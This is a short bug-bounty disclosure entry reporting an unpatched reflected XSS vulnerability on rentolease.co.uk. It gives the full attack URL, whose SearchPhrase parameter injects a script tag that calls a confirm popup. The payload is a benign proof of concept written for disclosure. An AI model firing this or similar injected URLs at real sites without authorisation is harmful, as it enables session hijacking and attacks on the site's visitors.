rentolease.co.uk XSS vulnerability

Vulnerable URL: http://www.rentolease.co.uk/BlogView.asp?SearchPhrase=BUY+TO+LET+ARLA+2014+Ayrshire+property+market%22%27--!%3E%3CScript%20/K/%3Econfirm%22OPENBUGBOUNTY%22%3C/Script%20/K/%3E==123074==6 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...